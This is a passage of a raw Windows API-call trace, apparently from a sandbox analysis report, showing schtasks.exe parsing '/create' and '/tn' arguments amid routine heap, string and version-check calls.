_Size=0x7) returned 0 [0059.504] lstrlenW (lpString="f") returned 1 [0059.504] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.504] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|showsid|") returned 9 [0059.504] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.504] lstrlenW (lpString="|showsid|") returned 9 [0059.504] lstrlenW (lpString="|f|") returned 3 [0059.504] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0059.504] SetLastError (dwErrCode=0x490) [0059.504] SetLastError (dwErrCode=0x490) [0059.504] SetLastError (dwErrCode=0x0) [0059.504] lstrlenW (lpString="/f") returned 2 [0059.504] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0059.504] SetLastError (dwErrCode=0x490) [0059.504] SetLastError (dwErrCode=0x0) [0059.504] lstrlenW (lpString="/f") returned 2 [0059.504] GetProcessHeap () returned 0x1b0000 [0059.504] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x6) returned 0x1cdf40 [0059.504] GetProcessHeap () returned 0x1b0000 [0059.504] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccee0 [0059.504] SetLastError (dwErrCode=0x0) [0059.505] GetProcessHeap () returned 0x1b0000 [0059.505] GetProcessHeap () returned 0x1b0000 [0059.505] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc330) returned 1 [0059.505] GetProcessHeap () returned 0x1b0000 [0059.505] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc330) returned 0x8 [0059.505] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc330 | out: hHeap=0x1b0000) returned 1 [0059.505] GetProcessHeap () returned 0x1b0000 [0059.505] GetProcessHeap () returned 0x1b0000 [0059.505] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd60) returned 1 [0059.505] GetProcessHeap () returned 0x1b0000 [0059.505] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd60) returned 0x20 [0059.506] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd60 | out: hHeap=0x1b0000) returned 1 [0059.506] GetProcessHeap () returned 0x1b0000 [0059.506] GetProcessHeap () returned 0x1b0000 [0059.506] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3c0) returned 1 [0059.506] GetProcessHeap () returned 0x1b0000 [0059.506] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc3c0) returned 0x14 [0059.506] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3c0 | out: hHeap=0x1b0000) returned 1 [0059.506] GetProcessHeap () returned 0x1b0000 [0059.506] GetProcessHeap () returned 0x1b0000 [0059.506] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd90) returned 1 [0059.506] GetProcessHeap () returned 0x1b0000 [0059.506] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd90) returned 0x20 [0059.507] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd90 | out: hHeap=0x1b0000) returned 1 [0059.507] GetProcessHeap () returned 0x1b0000 [0059.507] GetProcessHeap () returned 0x1b0000 [0059.507] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3e0) returned 1 [0059.507] GetProcessHeap () returned 0x1b0000 [0059.507] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc3e0) returned 0x8 [0059.507] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3e0 | out: hHeap=0x1b0000) returned 1 [0059.507] GetProcessHeap () returned 0x1b0000 [0059.507] GetProcessHeap () returned 0x1b0000 [0059.507] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdc0) returned 1 [0059.507] GetProcessHeap () returned 0x1b0000 [0059.507] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccdc0) returned 0x20 [0059.508] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdc0 | out: hHeap=0x1b0000) returned 1 [0059.508] GetProcessHeap () returned 0x1b0000 [0059.508] GetProcessHeap () returned 0x1b0000 [0059.508] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc400) returned 1 [0059.508] GetProcessHeap () returned 0x1b0000 [0059.508] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc400) returned 0xe [0059.508] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc400 | out: hHeap=0x1b0000) returned 1 [0059.508] GetProcessHeap () returned 0x1b0000 [0059.508] GetProcessHeap () returned 0x1b0000 [0059.508] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdf0) returned 1 [0059.508] GetProcessHeap () returned 0x1b0000 [0059.508] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccdf0) returned 0x20 [0059.509] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdf0 | out: hHeap=0x1b0000) returned 1 [0059.509] GetProcessHeap () returned 0x1b0000 [0059.509] GetProcessHeap () returned 0x1b0000 [0059.509] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc420) returned 1 [0059.509] GetProcessHeap () returned 0x1b0000 [0059.509] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc420) returned 0x8 [0059.509] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc420 | out: hHeap=0x1b0000) returned 1 [0059.509] GetProcessHeap () returned 0x1b0000 [0059.509] GetProcessHeap () returned 0x1b0000 [0059.509] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce20) returned 1 [0059.509] GetProcessHeap () returned 0x1b0000 [0059.509] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce20) returned 0x20 [0059.510] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce20 | out: hHeap=0x1b0000) returned 1 [0059.510] GetProcessHeap () returned 0x1b0000 [0059.510] GetProcessHeap () returned 0x1b0000 [0059.510] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc440) returned 1 [0059.510] GetProcessHeap () returned 0x1b0000 [0059.510] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc440) returned 0x4 [0059.510] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc440 | out: hHeap=0x1b0000) returned 1 [0059.510] GetProcessHeap () returned 0x1b0000 [0059.510] GetProcessHeap () returned 0x1b0000 [0059.510] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce50) returned 1 [0059.510] GetProcessHeap () returned 0x1b0000 [0059.510] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce50) returned 0x20 [0059.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce50 | out: hHeap=0x1b0000) returned 1 [0059.511] GetProcessHeap () returned 0x1b0000 [0059.511] GetProcessHeap () returned 0x1b0000 [0059.511] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc460) returned 1 [0059.511] GetProcessHeap () returned 0x1b0000 [0059.511] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc460) returned 0x8 [0059.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc460 | out: hHeap=0x1b0000) returned 1 [0059.511] GetProcessHeap () returned 0x1b0000 [0059.511] GetProcessHeap () returned 0x1b0000 [0059.511] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce80) returned 1 [0059.511] GetProcessHeap () returned 0x1b0000 [0059.511] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce80) returned 0x20 [0059.512] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce80 | out: hHeap=0x1b0000) returned 1 [0059.512] GetProcessHeap () returned 0x1b0000 [0059.512] GetProcessHeap () returned 0x1b0000 [0059.512] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cdeb0) returned 1 [0059.512] GetProcessHeap () returned 0x1b0000 [0059.512] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cdeb0) returned 0x80 [0059.512] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cdeb0 | out: hHeap=0x1b0000) returned 1 [0059.513] GetProcessHeap () returned 0x1b0000 [0059.513] GetProcessHeap () returned 0x1b0000 [0059.513] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cceb0) returned 1 [0059.513] GetProcessHeap () returned 0x1b0000 [0059.513] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cceb0) returned 0x20 [0059.513] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cceb0 | out: hHeap=0x1b0000) returned 1 [0059.513] GetProcessHeap () returned 0x1b0000 [0059.513] GetProcessHeap () returned 0x1b0000 [0059.513] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cdf40) returned 1 [0059.513] GetProcessHeap () returned 0x1b0000 [0059.513] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cdf40) returned 0x6 [0059.514] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cdf40 | out: hHeap=0x1b0000) returned 1 [0059.514] GetProcessHeap () returned 0x1b0000 [0059.514] GetProcessHeap () returned 0x1b0000 [0059.514] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccee0) returned 1 [0059.514] GetProcessHeap () returned 0x1b0000 [0059.514] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccee0) returned 0x20 [0059.514] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccee0 | out: hHeap=0x1b0000) returned 1 [0059.514] GetProcessHeap () returned 0x1b0000 [0059.514] GetProcessHeap () returned 0x1b0000 [0059.514] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5560) returned 1 [0059.515] GetProcessHeap () returned 0x1b0000 [0059.515] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5560) returned 0x18 [0059.515] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5560 | out: hHeap=0x1b0000) returned 1 [0059.515] SetLastError (dwErrCode=0x0) [0059.515] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0059.515] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0059.515] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0059.515] VerifyVersionInfoW (in: lpVersionInformation=0x11c230, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c230) returned 1 [0059.515] SetLastError (dwErrCode=0x0) [0059.515] lstrlenW (lpString="create") returned 6 [0059.515] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0059.515] SetLastError (dwErrCode=0x490) [0059.515] SetLastError (dwErrCode=0x0) [0059.515] lstrlenW (lpString="create") returned 6 [0059.516] GetProcessHeap () returned 0x1b0000 [0059.516] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccee0 [0059.516] GetProcessHeap () returned 0x1b0000 [0059.516] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cd670 [0059.516] _memicmp (_Buf1=0x1cd670, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.516] GetProcessHeap () returned 0x1b0000 [0059.516] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x16) returned 0x1cd690 [0059.516] SetLastError (dwErrCode=0x0) [0059.516] _memicmp (_Buf1=0x1cbbc0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.516] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cbd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0059.516] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0059.516] GetProcessHeap () returned 0x1b0000 [0059.516] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x74e) returned 0x1cdeb0 [0059.517] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1cdeb0 | out: lpData=0x1cdeb0) returned 1 [0059.517] VerQueryValueW (in: pBlock=0x1cdeb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c318, puLen=0x11c380 | out: lplpBuffer=0x11c318*=0x1ce24c, puLen=0x11c380) returned 1 [0059.517] _memicmp (_Buf1=0x1cbbc0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.517] _vsnwprintf (in: _Buffer=0x1cbd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c2f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0059.517] VerQueryValueW (in: pBlock=0x1cdeb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c388, puLen=0x11c378 | out: lplpBuffer=0x11c388*=0x1ce078, puLen=0x11c378) returned 1 [0059.517] lstrlenW (lpString="schtasks.exe") returned 12 [0059.517] lstrlenW (lpString="schtasks.exe") returned 12 [0059.517] lstrlenW (lpString=".EXE") returned 4 [0059.517] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0059.517] lstrlenW (lpString="schtasks.exe") returned 12 [0059.517] lstrlenW (lpString=".EXE") returned 4 [0059.517] lstrlenW (lpString="schtasks") returned 8 [0059.517] lstrlenW (lpString="/create") returned 7 [0059.517] _memicmp (_Buf1=0x1cbbc0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.517] _vsnwprintf (in: _Buffer=0x1cbd60, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c2f8 | out: _Buffer="schtasks /create") returned 16 [0059.517] _memicmp (_Buf1=0x1cbbe0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.518] GetProcessHeap () returned 0x1b0000 [0059.518] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cceb0 [0059.518] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.518] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0059.518] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0059.518] GetProcessHeap () returned 0x1b0000 [0059.518] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x30) returned 0x1c7c20 [0059.518] _vsnwprintf (in: _Buffer=0x1cc160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c2f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0059.518] GetProcessHeap () returned 0x1b0000 [0059.518] GetProcessHeap () returned 0x1b0000 [0059.518] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cdeb0) returned 1 [0059.518] GetProcessHeap () returned 0x1b0000 [0059.518] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cdeb0) returned 0x74e [0059.519] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cdeb0 | out: hHeap=0x1b0000) returned 1 [0059.519] SetLastError (dwErrCode=0x0) [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="create") returned 6 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="?") returned 1 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="s") returned 1 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="u") returned 1 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="p") returned 1 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="ru") returned 2 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="rp") returned 2 [0059.519] GetThreadLocale () returned 0x409 [0059.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.519] lstrlenW (lpString="sc") returned 2 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="mo") returned 2 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="d") returned 1 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="m") returned 1 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="i") returned 1 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="tn") returned 2 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="tr") returned 2 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="st") returned 2 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="sd") returned 2 [0059.520] GetThreadLocale () returned 0x409 [0059.520] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.520] lstrlenW (lpString="ed") returned 2 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="it") returned 2 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="et") returned 2 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="k") returned 1 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="du") returned 2 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="ri") returned 2 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="z") returned 1 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="f") returned 1 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.521] lstrlenW (lpString="v1") returned 2 [0059.521] GetThreadLocale () returned 0x409 [0059.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.522] lstrlenW (lpString="xml") returned 3 [0059.522] GetThreadLocale () returned 0x409 [0059.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.522] lstrlenW (lpString="ec") returned 2 [0059.522] GetThreadLocale () returned 0x409 [0059.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.522] lstrlenW (lpString="rl") returned 2 [0059.522] GetThreadLocale () returned 0x409 [0059.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.522] lstrlenW (lpString="delay") returned 5 [0059.522] GetThreadLocale () returned 0x409 [0059.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0059.522] lstrlenW (lpString="np") returned 2 [0059.522] SetLastError (dwErrCode=0x0) [0059.522] SetLastError (dwErrCode=0x0) [0059.522] lstrlenW (lpString="/create") returned 7 [0059.522] lstrlenW (lpString="-/") returned 2 [0059.522] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.522] lstrlenW (lpString="create") returned 6 [0059.523] lstrlenW (lpString="create") returned 6 [0059.523] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.523] lstrlenW (lpString="create") returned 6 [0059.523] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.523] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.523] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.523] lstrlenW (lpString="|create|") returned 8 [0059.523] lstrlenW (lpString="|create|") returned 8 [0059.523] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0059.523] SetLastError (dwErrCode=0x0) [0059.523] SetLastError (dwErrCode=0x0) [0059.523] SetLastError (dwErrCode=0x0) [0059.523] lstrlenW (lpString="/tn") returned 3 [0059.523] lstrlenW (lpString="-/") returned 2 [0059.523] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.523] lstrlenW (lpString="create") returned 6 [0059.523] lstrlenW (lpString="create") returned 6 [0059.523] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.523] lstrlenW (lpString="tn") returned 2 [0059.523] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.523] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.523] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.523] lstrlenW (lpString="|create|") returned 8 [0059.523] lstrlenW (lpString="|tn|") returned 4 [0059.524] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0059.524] SetLastError (dwErrCode=0x490) [0059.524] lstrlenW (lpString="?") returned 1 [0059.524] lstrlenW (lpString="?") returned 1 [0059.524] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.524] lstrlenW (lpString="tn") returned 2 [0059.524] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.524] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|?|") returned 3 [0059.524] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.524] lstrlenW (lpString="|?|") returned 3 [0059.524] lstrlenW (lpString="|tn|") returned 4 [0059.524] SetLastError (dwErrCode=0x490) [0059.524] lstrlenW (lpString="s") returned 1 [0059.524] lstrlenW (lpString="s") returned 1 [0059.524] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.524] lstrlenW (lpString="tn") returned 2 [0059.524] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.524] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|s|") returned 3 [0059.524] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.524] lstrlenW (lpString="|s|") returned 3 [0059.524] lstrlenW (lpString="|tn|") returned 4 [0059.524] SetLastError (dwErrCode=0x490) [0059.524] lstrlenW (lpString="u") returned 1 [0059.524] lstrlenW (lpString="u") returned 1 [0059.525] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.525] lstrlenW (lpString="tn") returned 2 [0059.525] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.525] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|u|") returned 3 [0059.525] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.525] lstrlenW (lpString="|u|") returned 3 [0059.525] lstrlenW (lpString="|tn|") returned 4 [0059.525] SetLastError (dwErrCode=0x490) [0059.525] lstrlenW (lpString="p") returned 1 [0059.525] lstrlenW (lpString="p") returned 1 [0059.525] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.525] lstrlenW (lpString="tn") returned 2 [0059.525] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.525] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|p|") returned 3 [0059.525] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.525] lstrlenW (lpString="|p|") returned 3 [0059.525] lstrlenW (lpString="|tn|") returned 4 [0059.525] SetLastError (dwErrCode=0x490) 